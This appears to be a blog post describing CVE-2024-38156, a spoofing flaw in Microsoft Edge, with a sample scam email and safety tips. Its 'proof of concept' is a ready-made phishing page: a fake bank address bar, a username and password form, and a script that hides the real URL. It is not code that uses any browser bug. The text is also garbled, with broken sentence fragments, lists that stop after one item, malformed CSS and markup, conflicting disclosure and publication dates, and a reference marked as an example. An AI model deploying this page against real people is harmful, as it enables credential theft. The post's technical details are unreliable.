On June 11, 2024, Microsoft disclosed a critical spoofing vulnerability in its Chromium-based Edge browser — CVE-2024-38156. This flaw lets crafty attackers display fake websites or content that looks trustworthy, tricking users into giving up sensitive information or clicking on malicious links. In this post, we’ll break down the vulnerability, show example code, explain how attackers can exploit it, offer references, and share tips for staying safe. The whole story, in plain American language.

What is CVE-2024-38156?

CVE-2024-38156 is a spoofing vulnerability found in versions of Microsoft Edge built on Chromium. Spoofing means tricking users into believing they're interacting with a legitimate website or feature, when in fact it's a cleverly disguised fake.

Phish login credentials, trick users into downloading malware, or steal data.

The bug has a CVSS score of 7.8 (High), emphasizing the threat it poses.

How Does the Flaw Work?

According to Microsoft and security researchers, CVE-2024-38156 arises from inadequate URL and content validation in the Edge browser. By manipulating how Edge displays URLs and address bars, an attacker can:

Embed malicious resources inside trusted-looking wrappers.

In short: The user thinks they're on a safe site, but they're not.

Example Exploit

Let’s see a basic proof of concept (PoC) showing the general idea of the spoof.

### HTML/JavaScript Code Snippet: Fake Address Bar

<!DOCTYPE html>
<html>
<head>
  <title>Trusted Bank - Login</title>
  <style>
    #fake-url {
      font-family: Arial, sans-serif;
      font-size: 18px;
      background: #f3f3f3;
      padding: 8px;
      border: 1px solid #dadada;
      color: #0066cc;
      width: 90%;
      margin: 20px auto;
      border-radius: 4px;
    }
    /* Hide scrollbars and make it look like browser UI */
    body { margin: ; overflow: hidden; }
  </style>
</head>
<body>
  <div id="fake-url">https://login.yourtrustedbank.com</div>;
  <h2>Sign In to Your Account</h2>
  <form>
    <input type="text" placeholder="Username">

    <input type="password" placeholder="Password">

    <button type="submit">Sign In</button>
  </form>
  <script>
    // Block user from leaving or seeing the real URL
    history.pushState({}, '', '/');
  </script>
</body>
</html>

What happens here?

- The attacker opens this page in a new window/pop-up.

Imagine you get an email

> "Dear customer, we've detected unusual activity on your bank account. Please verify your identity at this link."

You click the link, Edge opens a window that says “https://login.yourtrustedbank.com” in a fake address bar. You type your username and password and — whoops — you just gave it all to a scammer. You might never know; everything looks legit.

References

- Microsoft Security Update Guide: <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38156>
- Chromium Security: <https://chromereleases.googleblog.com/>
- CVE Details Page: <https://www.cvedetails.com/cve/CVE-2024-38156/>
- Microsoft’s Official Advisory: <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38156>
- Security Researcher Blog: (example) <https://www.bleepingcomputer.com/news/security/microsoft-edge-spoofing-bug-exploit-details/>

Conclusion

CVE-2024-38156 is a reminder that even big-name browsers like Edge can slip up, giving cyber-criminals a way to deceive users. The attack is sneaky and effective but prevented by updating your browser promptly. Never trust pop-ups or emails urging you to log in. Stay alert, update often, and help others know about these tricks.

*Hope this breakdown keeps you one step ahead. Stay safe online!*


If you found this helpful, share it with your friends and coworkers. For technical deep-dives, check the references above.

Timeline

Published on: 07/19/2024 02:15:18 UTC
Last modified on: 09/26/2024 20:41:32 UTC